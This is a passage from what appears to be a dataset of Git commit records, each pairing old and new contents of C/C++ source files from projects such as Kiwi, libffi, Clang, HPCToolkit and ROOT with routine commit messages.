thrown in a nasty global that callers can look for and handle.\n\/\/ (Buggy termination is less desirable than global variables).\n\/\/\n\/\/ Obviously, this can only handles cases where Kiwi itself would have raised\n\/\/ an exception.\n#if TARGET_IPHONE_SIMULATOR\n    #define KW_TARGET_HAS_INVOCATION_EXCEPTION_BUG 1\n#endif \/\/ #if TARGET_IPHONE_SIMULATOR\n","new_contents":"\/\/\n\/\/ Licensed under the terms in License.txt\n\/\/\n\/\/ Copyright 2010 Allen Ding. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#define KW_VERSION 0.5\n\n\/\/ Blocks being unavailable cripples the usability of Kiwi, but is supported\n\/\/ because they are not available on anything less than a device running 3.2.\n#if defined(__BLOCKS__)\n    #ifndef KW_BLOCKS_ENABLED\n        #define KW_BLOCKS_ENABLED 1\n    #endif \/\/ #ifndef KW_BLOCKS_ENABLED\n#endif \/\/ #if defined(__BLOCKS__)\n\n\/\/ As of iPhone SDK 4 GM, exceptions thrown across an NSInvocation -invoke or\n\/\/ forwardInvocation: boundary in the simulator will terminate the app instead\n\/\/ of being caught in @catch blocks from the caller side of the -invoke. Kiwi\n\/\/ tries to handle this by storing the first exception that it would have\n\/\/ otherwise thrown in a nasty global that callers can look for and handle.\n\/\/ (Buggy termination is less desirable than global variables).\n\/\/\n\/\/ Obviously, this can only handles cases where Kiwi itself would have raised\n\/\/ an exception.\n#if TARGET_IPHONE_SIMULATOR\n    #define KW_TARGET_HAS_INVOCATION_EXCEPTION_BUG 1\n#endif \/\/ #if TARGET_IPHONE_SIMULATOR\n","subject":"Add support for disabling blocks externally via preprocessor macro definitions at the project or target level","message":"Add support for disabling blocks externally via preprocessor macro definitions at the project or target level\n","lang":"C","license":"bsd-3-clause","repos":"LiuShulong\/Kiwi,samkrishna\/Kiwi,carezone\/Kiwi,howandhao\/Kiwi,ecaselles\/Kiwi,allending\/Kiwi,TaemoonCho\/Kiwi,howandhao\/Kiwi,indiegogo\/Kiwi,PaulTaykalo\/Kiwi,JoistApp\/Kiwi,samkrishna\/Kiwi,indiegogo\/Kiwi,carezone\/Kiwi,LiuShulong\/Kiwi,unisontech\/Kiwi,ashfurrow\/Kiwi,weslindsay\/Kiwi,iosRookie\/Kiwi,depop\/Kiwi,TaemoonCho\/Kiwi,howandhao\/Kiwi,ashfurrow\/Kiwi,cookov\/Kiwi,tangwei6423471\/Kiwi,ecaselles\/Kiwi,allending\/Kiwi,weslindsay\/Kiwi,emodeqidao\/Kiwi,alloy\/Kiwi,weslindsay\/Kiwi,tangwei6423471\/Kiwi,PaulTaykalo\/Kiwi,PaulTaykalo\/Kiwi,TaemoonCho\/Kiwi,TaemoonCho\/Kiwi,tcirwin\/Kiwi,emodeqidao\/Kiwi,tangwei6423471\/Kiwi,carezone\/Kiwi,tonyarnold\/Kiwi,depop\/Kiwi,iosRookie\/Kiwi,unisontech\/Kiwi,hyperoslo\/Tusen,cookov\/Kiwi,indiegogo\/Kiwi,weslindsay\/Kiwi,cookov\/Kiwi,cookov\/Kiwi,carezone\/Kiwi,tonyarnold\/Kiwi,unisontech\/Kiwi,depop\/Kiwi,allending\/Kiwi,JoistApp\/Kiwi,hyperoslo\/Tusen,samkrishna\/Kiwi,samkrishna\/Kiwi,ashfurrow\/Kiwi,alloy\/Kiwi,iosRookie\/Kiwi,ecaselles\/Kiwi,howandhao\/Kiwi,unisontech\/Kiwi,emodeqidao\/Kiwi,iosRookie\/Kiwi,JoistApp\/Kiwi,LiuShulong\/Kiwi,alloy\/Kiwi,emodeqidao\/Kiwi,hyperoslo\/Tusen,indiegogo\/Kiwi,JoistApp\/Kiwi,LiuShulong\/Kiwi,tcirwin\/Kiwi,tonyarnold\/Kiwi,tcirwin\/Kiwi,tangwei6423471\/Kiwi,allending\/Kiwi,ecaselles\/Kiwi,PaulTaykalo\/Kiwi,tcirwin\/Kiwi,depop\/Kiwi,tonyarnold\/Kiwi,hyperoslo\/Tusen"}
{"commit":"a5f492b226f651d8296498f9b412756868b5b333","old_file":"src\/http\/resourcestrategy.h","new_file":"src\/http\/resourcestrategy.h","old_contents":"","new_contents":"#ifndef\tAPIMOCK_RESOURCESTRATEGY_H\n#define APIMOCK_RESOURCESTRATEGY_H\n\n#include \"requestdata.h\"\n#include \"responsedata.h\"\n\nnamespace ApiMock {\n\tclass ResourceStrategy {\n\tpublic:\n\t\tvirtual ~ResourceStrategy() {}\n\t\tvirtual ResponseData CreateResponse(const RequestData& request) = 0;\n\t};\n}\n\n#endif","subject":"Add a resource strategy interface","message":"Add a resource strategy interface\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"d2283df39723e542416a1fcb4fd292780fe690f5","old_file":"src\/qt4compat.h","new_file":"src\/qt4compat.h","old_contents":"#ifndef QT4COMPAT_H\n#define QT4COMPAT_H\n\n#include <QtCore\/QtGlobal>\n\n#ifndef Q_LIKELY\n#\tdefine Q_LIKELY(s) s\n#endif\n\n#ifndef Q_UNLIKELY\n#\tdefine Q_UNLIKELY(s) s\n#endif\n\n#ifndef Q_UNREACHABLE\n#\tdefine Q_UNREACHABLE() Q_ASSERT(false)\n#endif\n\n#ifndef Q_ASSUME\n#\tdefine Q_ASSUME(s) if (s) {} else { Q_UNREACHABLE(); }\n#endif\n\n#endif \/\/ QT4COMPAT_H\n","new_contents":"#ifndef QT4COMPAT_H\n#define QT4COMPAT_H\n\n#include <QtCore\/QtGlobal>\n\n#if !defined(Q_UNREACHABLE) && !defined(Q_ASSUME)\n#\tif defined(Q_CC_INTEL) || defined(Q_CC_MSVC)\n#\t\tdefine Q_UNREACHABLE() __assume(0)\n#\t\tdefine Q_ASSUME(s) __assume(s)\n#\telif defined(Q_CC_CLANG)\n#\t\tdefine Q_UNREACHABLE() __builtin_unreachable()\n#\telif defined(Q_CC_GNU) && defined(__GNUC__) && defined(__GNUC_MINOR__) && (__GNUC__ * 100 + __GNUC_MINOR__) >= 405\n#\t\tdefine Q_UNREACHABLE() __builtin_unreachable()\n#\tendif\n#endif\n\n#if !defined(Q_LIKELY) && !defined(Q_UNLIKELY)\n#\tifdef __GNUC__\n#\t\tdefine Q_LIKELY(expr)    __builtin_expect(!!(expr), true)\n#\t\tdefine Q_UNLIKELY(expr)  __builtin_expect(!!(expr), false)\n#\tendif\n#endif\n\n#ifndef Q_LIKELY\n#\tdefine Q_LIKELY(s) s\n#endif\n\n#ifndef Q_UNLIKELY\n#\tdefine Q_UNLIKELY(s) s\n#endif\n\n#ifndef Q_UNREACHABLE\n#\tdefine Q_UNREACHABLE() Q_ASSERT(false)\n#endif\n\n#ifndef Q_ASSUME\n#\tdefine Q_ASSUME(s) if (s) {} else { Q_UNREACHABLE(); }\n#endif\n\n#endif \/\/ QT4COMPAT_H\n","subject":"Use compiler detection for Q_LIKELY, Q_UNLIKELY, Q_ASSUME, Q_UNREACHABLE","message":"Use compiler detection for Q_LIKELY, Q_UNLIKELY, Q_ASSUME, Q_UNREACHABLE [ci skip]\n","lang":"C","license":"mit","repos":"sjinks\/qt_eventdispatcher_epoll,sjinks\/qt_eventdispatcher_epoll"}
{"commit":"6f55e50c181265bae4615173f62f806db75bc33f","old_file":"src\/streampos.h","new_file":"src\/streampos.h","old_contents":"#ifndef ICAL_STREAMPOS_H\n#define ICAL_STREAMPOS_H\n\n\nnamespace ical {\n\n\/**\n * Represents a postion in the (source) stream. It is used for constructing\n * nice error messages.\n *\n * Note: only CRLF (\"\\r\\n\") is considered as a line ending in order to match\n * the definition of 'content line' from RFC 5545.\n *\/\nclass StreamPos\n{\nprivate:\n    unsigned long column = 0;\n    unsigned long line = 0;\n\npublic:\n    unsigned long getLine() const { return line; }\n    unsigned long getColumn() const { return column; }\n\n    StreamPos() { }\n\n    void advanceColumn()\n    {\n        ++column;\n    }\n\n    void advanceLine()\n    {\n        column = 0;\n        ++line;\n    }\n};\n\n} \/\/ namespace ical\n\n#endif \/\/ ICAL_STREAMPOS_H\n","new_contents":"#ifndef ICAL_STREAMPOS_H\n#define ICAL_STREAMPOS_H\n\n\nnamespace ical {\n\n\/**\n * Represents a postion in the (source) stream. It is used for constructing\n * nice error messages.\n *\n * Note: only CRLF (\"\\r\\n\") is considered as a line ending in order to match\n * the definition of 'content line' from RFC 5545.\n *\/\nclass StreamPos\n{\nprivate:\n    unsigned long column = 0;\n    unsigned long line = 0;\n\npublic:\n    unsigned long getLine() const { return line + 1; }\n    unsigned long getColumn() const { return column + 1; }\n\n    StreamPos() { }\n\n    void advanceColumn()\n    {\n        ++column;\n    }\n\n    void advanceLine()\n    {\n        column = 0;\n        ++line;\n    }\n};\n\n} \/\/ namespace ical\n\n#endif \/\/ ICAL_STREAMPOS_H\n","subject":"Return one-based line\/column numbers from StreamPos.","message":"Return one-based line\/column numbers from StreamPos.\n\n(Because obviously people expect \"Line 1\" to mean the first line...)\n","lang":"C","license":"mit","repos":"LuboO\/iCalendar-parser_PA193_Rteam"}
{"commit":"e4953de7dde3021a682d99e05b2784177ebebc93","old_file":"include\/icmpv4.h","new_file":"include\/icmpv4.h","old_contents":"#ifndef ICMPV4_H\n#define ICMPV4_H\n\n#include \"syshead.h\"\n#include \"netdev.h\"\n\n#define ICMP_V4_REPLY           0x00\n#define ICMP_V4_DST_UNREACHABLE 0x03\n#define ICMP_V4_SRC_QUENCH      0x04\n#define ICMP_V4_REDIRECT        0x05\n#define ICMP_V4_ECHO            0x08\n#define ICMP_V4_ROUTER_ADV      0x09\n#define ICMP_V4_ROUTER_SOL      0x0a\n#define ICMP_V4_TIMEOUT         0x0b\n#define ICMP_V4_MALFORMED       0x0c\n\nstruct icmp_v4 {\n    uint8_t type;\n    uint8_t code;\n    uint16_t csum;\n    uint8_t data[];\n} __attribute__((packed));\n\nstruct icmp_v4_echo {\n    uint16_t id;\n    uint16_t seq;\n    uint8_t data[];\n} __attribute__((packed));\n\nvoid icmpv4_incoming(struct netdev *netdev, struct eth_hdr *hdr);\nvoid icmpv4_reply(struct netdev *netdev, struct eth_hdr *hdr);\n\n#endif\n","new_contents":"#ifndef ICMPV4_H\n#define ICMPV4_H\n\n#include \"syshead.h\"\n#include \"netdev.h\"\n\n#define ICMP_V4_REPLY           0x00\n#define ICMP_V4_DST_UNREACHABLE 0x03\n#define ICMP_V4_SRC_QUENCH      0x04\n#define ICMP_V4_REDIRECT        0x05\n#define ICMP_V4_ECHO            0x08\n#define ICMP_V4_ROUTER_ADV      0x09\n#define ICMP_V4_ROUTER_SOL      0x0a\n#define ICMP_V4_TIMEOUT         0x0b\n#define ICMP_V4_MALFORMED       0x0c\n\nstruct icmp_v4 {\n    uint8_t type;\n    uint8_t code;\n    uint16_t csum;\n    uint8_t data[];\n} __attribute__((packed));\n\nstruct icmp_v4_echo {\n    uint16_t id;\n    uint16_t seq;\n    uint8_t data[];\n} __attribute__((packed));\n\nstruct icmp_v4_dst_unreachable {\n    uint8_t unused;\n    uint8_t len;\n    uint16_t var;\n    uint8_t data[];\n} __attribute__((packed));\n\n\nvoid icmpv4_incoming(struct netdev *netdev, struct eth_hdr *hdr);\nvoid icmpv4_reply(struct netdev *netdev, struct eth_hdr *hdr);\n\n#endif\n","subject":"Add ICMPv4 dst unreachable -message definition","message":"Add ICMPv4 dst unreachable -message definition\n\nYeah, this might end up being unimplemented :-(\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"fc1d23276088fe389f4e804da1b8f071ee3b00f9","old_file":"src\/tool\/hpcrun\/utilities\/arch\/aarch64\/specific-inline-asm-gctxt.h","new_file":"src\/tool\/hpcrun\/utilities\/arch\/aarch64\/specific-inline-asm-gctxt.h","old_contents":"#ifndef SPECIFIC_INLINE_ASM_GCTXT\n#define SPECIFIC_INLINE_ASM_GCTXT\n\n#endif\n","new_contents":"#ifndef SPECIFIC_INLINE_ASM_GCTXT\n#define SPECIFIC_INLINE_ASM_GCTXT\n\n#define INLINE_ASM_GCTXT(uc)  getcontext(&uc)\n\n#endif\n","subject":"Define the INLINE_ASM_GCTXT() macro for aarch64. This was breaking the MEMLEAK source on arm.","message":"Define the INLINE_ASM_GCTXT() macro for aarch64.\nThis was breaking the MEMLEAK source on arm.\n","lang":"C","license":"bsd-3-clause","repos":"HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit"}
{"commit":"0cad538ae17f8e05375d1edf1d9f49bb4049e39b","old_file":"test\/Preprocessor\/header_lookup1.c","new_file":"test\/Preprocessor\/header_lookup1.c","old_contents":"\/\/ RUN: %clang -fno-ms-extensions %s -E | grep 'stddef.h.*3.*4'\n#include <stddef.h>\n","new_contents":"\/\/ RUN: %clang -fno-ms-extensions %s -E | grep 'stddef.h.*3'\n#include <stddef.h>\n","subject":"Change this test to reflect the state we are moving in. The Clang builtin headers are no longer going to receive the old 'implicit extern \"C\" block' semantics. This hint is actually ignored by both Clang and GCC at this point, and Clang's own builtin headers can simply be changed if there is any issue with this. Clang should be free to include these however it wants, and so shorter and simpler is better.","message":"Change this test to reflect the state we are moving in. The Clang\nbuiltin headers are no longer going to receive the old 'implicit extern\n\"C\" block' semantics. This hint is actually ignored by both Clang and\nGCC at this point, and Clang's own builtin headers can simply be changed\nif there is any issue with this. Clang should be free to include these\nhowever it wants, and so shorter and simpler is better.\n\nNote: *nothing* is changing about the *system* stddef.h include. That\nshould always have the exact same include semantics, whether with Clang\nor GCC or any other compiler. Only the compiler-builtin header search\npath is changing.\n\nIf anyone knows of some risk that this introduces that I've not thought\nof, please chime in. So far, only Windows has switched to the Brave New\nWorld, but others should be switching soon.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@143806 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"ccdd7bb8566b2fd1da5c4b5c8eaa2db43a69e720","old_file":"testsuite\/libffi.go\/static-chain.h","new_file":"testsuite\/libffi.go\/static-chain.h","old_contents":"#ifdef __aarch64__\n# define STATIC_CHAIN_REG  \"x18\"\n#elif defined(__alpha__)\n# define STATIC_CHAIN_REG  \"r1\"\n#elif defined(__arm__)\n# define STATIC_CHAIN_REG  \"ip\"\n#elif defined(__sparc__)\n# if defined(__arch64__) || defined(__sparcv9)\n#  define STATIC_CHAIN_REG \"g5\"\n# else\n#  define STATIC_CHAIN_REG \"g2\"\n# endif\n#elif defined(__x86_64__)\n# define STATIC_CHAIN_REG  \"r10\"\n#elif defined(__i386__)\n# ifndef ABI_NUM\n#  define STATIC_CHAIN_REG  \"ecx\"\t\/* FFI_DEFAULT_ABI only *\/\n# endif\n#endif\n","new_contents":"#ifdef __aarch64__\n# define STATIC_CHAIN_REG  \"x18\"\n#elif defined(__alpha__)\n# define STATIC_CHAIN_REG  \"$1\"\n#elif defined(__arm__)\n# define STATIC_CHAIN_REG  \"ip\"\n#elif defined(__sparc__)\n# if defined(__arch64__) || defined(__sparcv9)\n#  define STATIC_CHAIN_REG \"g5\"\n# else\n#  define STATIC_CHAIN_REG \"g2\"\n# endif\n#elif defined(__x86_64__)\n# define STATIC_CHAIN_REG  \"r10\"\n#elif defined(__i386__)\n# ifndef ABI_NUM\n#  define STATIC_CHAIN_REG  \"ecx\"\t\/* FFI_DEFAULT_ABI only *\/\n# endif\n#endif\n","subject":"Fix alpha static chain register name","message":"testsuite: Fix alpha static chain register name\n","lang":"C","license":"mit","repos":"biosbits\/libffi,Distrotech\/libffi,Distrotech\/libffi,joshtriplett\/libffi,Pan7\/libffi,Pan7\/libffi,biosbits\/libffi,s1341\/libffi,bgarrels\/libffi,joshtriplett\/libffi,nmav\/libffi,rth7680\/libffi,joshtriplett\/libffi,rth7680\/libffi,plicease\/libffi,Pan7\/libffi,bgarrels\/libffi,s1341\/libffi,nmav\/libffi,biosbits\/libffi,joshtriplett\/libffi,nmav\/libffi,Pan7\/libffi,plicease\/libffi,bgarrels\/libffi,nmav\/libffi,rth7680\/libffi,Distrotech\/libffi,s1341\/libffi,plicease\/libffi,bgarrels\/libffi,s1341\/libffi,Distrotech\/libffi,plicease\/libffi,rth7680\/libffi,biosbits\/libffi"}
{"commit":"d4bca385d8d7e068e7d2075131bf14e5bb417692","old_file":"src\/autowiring\/stdafx.h","new_file":"src\/autowiring\/stdafx.h","old_contents":"\/\/ Copyright (C) 2012-2015 Leap Motion, Inc. All rights reserved.\n#pragma once\n\n\/\/ Internal build flag for namespace discrimination\n#define AUTOWIRING_IS_BEING_BUILT\n\n\/\/ Only include these headers in cases where a pch can be generated\n\/\/ Currently this is only supported on MSVC\n#ifdef _MSC_VER\n  #include <thread>\n  #ifndef NOMINMAX\n    #define NOMINMAX\n  #endif\n#endif\n  \n#ifndef _MSC_VER\n  #include <stdlib.h>\n#endif\n\n\/\/ Preconfiguration:\n#include \"AutowiringConfig.h\"\n\n\/\/ C++11 glue logic, for platforms that have incomplete C++11 support\n#include \"C++11\/cpp11.h\"\n","new_contents":"\/\/ Copyright (C) 2012-2015 Leap Motion, Inc. All rights reserved.\n#pragma once\n\n\/\/ Internal build flag for namespace discrimination\n#define AUTOWIRING_IS_BEING_BUILT\n\n\/\/ Only include these headers in cases where a pch can be generated\n\/\/ Currently this is only supported on MSVC\n#ifdef _MSC_VER\n  #ifndef NOMINMAX\n    #define NOMINMAX\n  #endif\n\n  #include <algorithm>\n  #include <functional>\n  #include <future>\n  #include <iosfwd>\n  #include <list>\n  #include <map>\n  #include <memory>\n  #include <mutex>\n  #include <queue>\n  #include <set>\n  #include <sstream>\n  #include <string>\n  #include <thread>\n  #include <tuple>\n  #include <type_traits>\n  #include <typeindex>\n  #include <unordered_map>\n  #include <unordered_set>\n  #include <vector>\n#endif\n  \n#ifndef _MSC_VER\n  #include <stdlib.h>\n#endif\n\n\/\/ Preconfiguration:\n#include \"AutowiringConfig.h\"\n\n\/\/ C++11 glue logic, for platforms that have incomplete C++11 support\n#include \"C++11\/cpp11.h\"\n","subject":"Make better use of precompiled header","message":"Make better use of precompiled header\n\nThese headers are used pretty much everywhere in autowiring.  New compile time is 50% of what it was on MSVC.\n\nBefore: 33.87s\nAfter: 17.77s\n","lang":"C","license":"apache-2.0","repos":"leapmotion\/autowiring,leapmotion\/autowiring,codemercenary\/autowiring,leapmotion\/autowiring,leapmotion\/autowiring,codemercenary\/autowiring,codemercenary\/autowiring,codemercenary\/autowiring,codemercenary\/autowiring,leapmotion\/autowiring,leapmotion\/autowiring,codemercenary\/autowiring"}
{"commit":"8a89ea553494c0ca429a57f792a097adb1f25ce2","old_file":"Sources\/ObjectiveChain.h","new_file":"Sources\/ObjectiveChain.h","old_contents":"\/\/\n\/\/  ObjectiveChain.h\n\/\/  Objective-Chain\n\/\/\n\/\/  Created by Martin Kiss on 30.12.13.\n\/\/\n\/\/\n\n\n","new_contents":"\/\/\n\/\/  ObjectiveChain.h\n\/\/  Objective-Chain\n\/\/\n\/\/  Created by Martin Kiss on 30.12.13.\n\/\/\n\/\/\n\n#import \"OCAConnection.h\"\n#import \"OCAProducer.h\"\n","subject":"Add first classes to umbrella header","message":"Add first classes to umbrella header\n","lang":"C","license":"mit","repos":"Tricertops\/Objective-Chain,iMartinKiss\/Objective-Chain"}
{"commit":"97d3b3cf2a7b220c34f7b467129fe9de8558e2be","old_file":"utils\/metatag.c","new_file":"utils\/metatag.c","old_contents":"\/* metatag.c: Program for adding metadata to a file\n * By: Forrest Kerslager, Nick Noto, David Taylor, Kevin Yeap,\n *     Connie Yu\n * \n * 2014\/06\/06\n * *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nint main(int argc, char** argv){\n    char* buffer;\n    int fd, i, len;\n    \n    if(argc < 3){\n        fprintf(stderr, \"Usage: metatag FILE TAG\\n\");\n        exit(1);\n    }\n    fd=open(argv[1], O_RDWR);\n    if(fd == -1){\n        fprintf(stderr, \"Error, file not found\\n\");\n        exit(1);\n    }\n    buffer = \"\";\n    for(i=2; i<argc; i++){\n        strcat(buffer, argv[i]);\n        strcat(buffer, \" \");\n    }\n    len = strlen(buffer);\n    metawrite(fd,&buffer,len);\n    close(fd);\n    return 0;\n    \n}\n","new_contents":"\/* metatag.c: Program for adding metadata to a file\n * By: Forrest Kerslager, Nick Noto, David Taylor, Kevin Yeap,\n *     Connie Yu\n * \n * 2014\/06\/06\n * *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define MAX_LEN 1024\n\nint main(int argc, char** argv){\n    char* buffer;\n    int fd, i, len;\n    \n    if(argc < 3){\n        fprintf(stderr, \"Usage: metatag FILE TAG\\n\");\n        exit(1);\n    }\n    fd=open(argv[1], O_RDWR);\n    if(fd == -1){\n        fprintf(stderr, \"Error, file not found\\n\");\n        exit(1);\n    }\n    buffer = \"\";\n    for(i=2; i<argc; i++){\n        strcat(buffer, argv[i]);\n        strcat(buffer, \" \");\n    }\n    len = strlen(buffer);\n    if(len > MAX_LEN-1){\n        fprintf(stderr, \"Input stream exceeds max length\\n\");\n        exit(1);\n    }\n    metawrite(fd,&buffer,len);\n    close(fd);\n    return 0;\n    \n}\n","subject":"Add max length error check","message":"Add max length error check\n","lang":"C","license":"mit","repos":"dmtaylor\/cmps111-proj4,dmtaylor\/cmps111-proj4"}
{"commit":"b8b9c29202e0ab25889fc745d3e5f7f99c3e9624","old_file":"regs_amd64.h","new_file":"regs_amd64.h","old_contents":"\/\/ Offset of each register in the register map,\n\/\/ as it's saved by asm_entry_amd64.s\n\n#pragma once\n\n#define RAX 0x00\n#define RBX 0x08\n#define RCX 0x10\n#define RDX 0x18\n#define RSI 0x20\n#define RDI 0x28\n#define R8  0x30\n#define R9  0x38\n#define R10 0x40\n#define R11 0x48\n#define R12 0x50\n#define R13 0x58\n#define R14 0x60\n#define R15 0x68\n\n#define XMM0 0x70\n#define XMM1 0x80\n#define XMM2 0x90\n#define XMM3 0xA0\n#define XMM4 0xB0\n#define XMM5 0xC0\n#define XMM6 0xE0\n#define XMM7 0xF0\n","new_contents":"\/\/ Offset of each register in the register map,\n\/\/ as it's saved by asm_entry_amd64.s\n\n#pragma once\n\n#define RAX 0x00\n#define RBX 0x08\n#define RCX 0x10\n#define RDX 0x18\n#define RSI 0x20\n#define RDI 0x28\n#define R8  0x30\n#define R9  0x38\n#define R10 0x40\n#define R11 0x48\n#define R12 0x50\n#define R13 0x58\n#define R14 0x60\n#define R15 0x68\n\n#define XMM0 0x70\n#define XMM1 0x80\n#define XMM2 0x90\n#define XMM3 0xA0\n#define XMM4 0xB0\n#define XMM5 0xC0\n#define XMM6 0xD0\n#define XMM7 0xE0\n","subject":"Fix one more register addressing bug","message":"Fix one more register addressing bug\n","lang":"C","license":"mit","repos":"yamnikov-oleg\/cgo-callback,yamnikov-oleg\/cgo-callback"}
{"commit":"605871452bcb4c742ed960c09d518be03b349cf3","old_file":"base\/inc\/TVersionCheck.h","new_file":"base\/inc\/TVersionCheck.h","old_contents":"\/\/ @(#)root\/base:$Name:  $:$Id: TVersionCheck.h,v 1.2 2007\/05\/10 16:04:32 rdm Exp $\n\/\/ Author: Fons Rademakers   9\/5\/2007\n\n\/*************************************************************************\n * Copyright (C) 1995-2007, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVersionCheck\n#define ROOT_TVersionCheck\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TVersionCheck                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ Used to check if the shared library or plugin is compatible with     \/\/\n\/\/ the current version of ROOT.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_RVersion\n#include \"RVersion.h\"\n#endif\n\nclass TVersionCheck {\npublic:\n   TVersionCheck(int versionCode);  \/\/ implemented in TSystem.cxx\n};\n\nstatic TVersionCheck gVersionCheck(ROOT_VERSION_CODE);\n\n#endif\n","new_contents":"\/\/ @(#)root\/base:$Name:  $:$Id: TVersionCheck.h,v 1.3 2007\/05\/10 18:16:58 rdm Exp $\n\/\/ Author: Fons Rademakers   9\/5\/2007\n\n\/*************************************************************************\n * Copyright (C) 1995-2007, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TVersionCheck\n#define ROOT_TVersionCheck\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TVersionCheck                                                        \/\/\n\/\/                                                                      \/\/\n\/\/ Used to check if the shared library or plugin is compatible with     \/\/\n\/\/ the current version of ROOT.                                         \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_RVersion\n#include \"RVersion.h\"\n#endif\n\nclass TVersionCheck {\npublic:\n   TVersionCheck(int versionCode);  \/\/ implemented in TSystem.cxx\n};\n\n#ifndef __CINT__\nstatic TVersionCheck gVersionCheck(ROOT_VERSION_CODE);\n#endif\n\n#endif\n","subject":"Hide a static function to CINT. With this fix g4root compiles OK.","message":"Hide a static function to CINT. With this fix g4root compiles OK.\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@18737 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"simonpf\/root,jrtomps\/root,tc3t\/qoot,vukasinmilosevic\/root,mkret2\/root,0x0all\/ROOT,root-mirror\/root,root-mirror\/root,Dr15Jones\/root,omazapa\/root-old,esakellari\/root,mhuwiler\/rootauto,esakellari\/my_root_for_test,nilqed\/root,mkret2\/root,cxx-hep\/root-cern,olifre\/root,lgiommi\/root,satyarth934\/root,gbitzes\/root,davidlt\/root,karies\/root,Duraznos\/root,perovic\/root,dfunke\/root,davidlt\/root,bbockelm\/root,Duraznos\/root,beniz\/root,mattkretz\/root,CristinaCristescu\/root,abhinavmoudgil95\/root,beniz\/root,gbitzes\/root,sawenzel\/root,0x0all\/ROOT,olifre\/root,lgiommi\/root,lgiommi\/root,abhinavmoudgil95\/root,lgiommi\/root,nilqed\/root,zzxuanyuan\/root,zzxuanyuan\/root,sirinath\/root,zzxuanyuan\/root,Y--\/root,alexschlueter\/cern-root,esakellari\/root,buuck\/root,perovic\/root,arch1tect0r\/root,kirbyherm\/root-r-tools,mhuwiler\/rootauto,strykejern\/TTreeReader,karies\/root,ffurano\/root5,esakellari\/root,omazapa\/root,georgtroska\/root,bbockelm\/root,simonpf\/root,cxx-hep\/root-cern,sbinet\/cxx-root,pspe\/root,dfunke\/root,root-mirror\/root,bbockelm\/root,sbinet\/cxx-root,zzxuanyuan\/root,agarciamontoro\/root,BerserkerTroll\/root,gganis\/root,root-mirror\/root,omazapa\/root-old,ffurano\/root5,root-mirror\/root,0x0all\/ROOT,beniz\/root,zzxuanyuan\/root,gbitzes\/root,arch1tect0r\/root,vukasinmilosevic\/root,arch1tect0r\/root,gganis\/root,pspe\/root,esakellari\/my_root_for_test,sirinath\/root,lgiommi\/root,alexschlueter\/cern-root,Y--\/root,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,mkret2\/root,vukasinmilosevic\/root,krafczyk\/root,evgeny-boger\/root,karies\/root,smarinac\/root,gganis\/root,alexschlueter\/cern-root,CristinaCristescu\/root,Y--\/root,dfunke\/root,sawenzel\/root,georgtroska\/root,agarciamontoro\/root,pspe\/root,omazapa\/root,agarciamontoro\/root,abhinavmoudgil95\/root,olifre\/root,olifre\/root,lgiommi\/root,georgtroska\/root,strykejern\/TTreeReader,pspe\/root,mattkretz\/root,evgeny-boger\/root,root-mirror\/root,veprbl\/root,Dr15Jones\/root,omazapa\/root-old,smarinac\/root,sawenzel\/root,mhuwiler\/rootauto,Duraznos\/root,gganis\/root,gganis\/root,lgiommi\/root,CristinaCristescu\/root,BerserkerTroll\/root,simonpf\/root,davidlt\/roo